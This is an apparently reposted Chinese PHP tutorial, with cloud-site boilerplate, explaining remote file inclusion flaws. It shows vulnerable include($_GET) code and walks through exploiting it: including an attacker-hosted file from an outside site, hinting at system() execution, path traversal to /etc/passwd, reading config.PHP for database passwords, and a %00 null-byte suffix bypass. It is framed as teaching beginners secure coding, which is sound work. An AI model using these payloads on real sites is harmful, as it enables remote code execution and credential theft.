是什麼造成PHP遠程檔案包含漏洞產生_PHP教程

來源:互聯網
上載者:User
對於初級 PHP程式員來說,對於PHP的安全性還不能完全掌握。首先我們需要瞭解致使程式漏洞的原理。下面我們就來介紹一下PHP 遠程檔案包含漏洞的產生原因。

首先的問題是,什麼才是”遠程檔案包含漏洞“?簡要的回答是伺服器通過PHP的任意檔案包含過濾不嚴,從而去執行一個惡意檔案,這是個程式員過濾上的問題,請記住,所有的cgi程式都有這樣的bug。

1.找出PHP遠程檔案包含漏洞bug:

為了發現目標,我們首先要知道包含兩個字的含義,在所有語言裡(大多數)都有這種方法包含任意的檔案。在PHP裡,我們使用include()函數,它的工作流程:

如果你在Main.PHP裡包含include1.PHP,我將這樣寫include("include1.PHP").不是很科學,但你要知道其中的道理。

我們先看這個,當使用者輸入通過後就包含檔案,也就是

 
  1. if ($_GET
    ) {
  2. include $_GET
    ;
  3. } else {
  4. include "home.PHP";
  5. }

這種結構在動態網站裡是常見的,問題是它允許這樣 [url]hxxp://www.target.com/explame.PHP?page=main.PHP[/url] 或者[url]hxxp://www.target.com/explame.PHP?page=downloads.PHP[/url]來查看。無論如何,如果你的程式裡有這樣的bug也很悲哀了,只能怪你,儘管只是一句過濾的問題,但就是這一句過濾就有了Script hacker.在zone-h.org的調查裡,檔案包含的攻擊率佔到9.4%,足夠我們引起重視,而且它也不是一兩天的問題,幾年前就有了,但到了今天,一批一批程式員依舊走老路重走,所以就有了這篇文章,在2004年寫這樣的文章已經老掉牙,但我還是要寫,畢竟牢騷能讓人收益的時候就不叫牢騷了。

2.測試

這裡有個遠程檔案包含的例子,目的只有一個,為了你的程式安全,我們來看具體的

 
  1. [url]hxxp://www.target.com/explame.PHP?page=zizzy[/url]
  2. Warning: main(zizzy): failed to open stream: No such file or directory
  3. in /var/www/htdocs/index.PHP on line 3
  4. Warning: main(): Failed opening 'zizzy' for inclusion
  5. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/index.PHP on line 3

PHP輸出的這些錯誤資訊告訴我們,程式去包含檔案/var/www/htdocs/zizzy,但沒找到,看見了吧,No such file or directory沒這樣的檔案,現在理解PHP遠程檔案包含漏洞了吧。

3.利用

PHP確實很好,可以遠程調用檔案,那我建立一個yeah.txt,放在我的站上[url]hxxp://www.mysite.com/yeah.txt.[/url]內容這樣

 
  1. < ?
  2. echo "Wow,test!";
  3. ?>

那麼

 
  1. [url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]

回顯Wow,test!,這樣就執行了。讀取config.PHP也不難吧,裡面放了mysql密碼啊。把yeah.txt寫成看看,寫成system()去試試,有什麼感想,在過分點,這樣提交page=../../../../../../../etc /passwd。知道什麼叫真正的包含了吧。

4.另一種PHP遠程檔案包含漏洞的原理

有時程式員換種寫法,寫成這樣,限制了包含範圍

 
  1. if ($_GET
    ) {
  2. include "$_GET
    .PHP";
  3. }
  4. else
  5. {
  6. include "home.PHP";
  7. }

我們提交

 
  1. [url]hxxp://www.target.com/explame.PHP?pa...e.com/yeah.txt[/url]
  2. Warning: main([url]hxxp://www.mysite.com/yeah.txt.PHP[/url]): failed to open stream:
  3. hxxp request failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3
  4. Warning: main(): Failed opening 'hxxp://www.mysite.com/yeah.txt.PHP' for inclusion
  5. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3

包含失敗了,限制了尾碼名為PHP,把mysite.com的yeah.txt改為yeah.PHP,然後照樣執行。那passwd怎麼辦?

 
  1. Warning: main(../../../../../../../etc/passwd.PHP): failed to open stream: hxxp request
  2. failed! hxxp/1.1 404 Not Found in /var/www/htdocs/explame.PHP on line 3
  3. Warning: main(): Failed opening '../../../../../../../etc/passwd.PHP' for inclusion
  4. (include_path='.:/usr/local/lib/PHP') in /var/www/htdocs/explame.PHP on line 3

在這裡使用個NUL字元,也就是%00來跳過檢測

 
  1. [url]hxxp://www.target.com/explame.PHP?pa.../etc/passwd%00[/url]

看見了吧。

包含檔案時最好指定好包含哪一個檔案,或者過濾好提交的的變數,這也就是這篇PHP遠程檔案包含漏洞文章的目的,不是寫給hacking的人看,而是寫給那些初涉程式員的人,這樣的文章網上很多,只要有人受益,也就達到目的了。


http://www.bkjia.com/PHPjc/445831.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/445831.htmlTechArticle對於初級 PHP 程式員來說,對於PHP的安全性還不能完全掌握。首先我們需要瞭解致使程式漏洞的原理。下面我們就來介紹一下PHP 遠程檔案包...

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.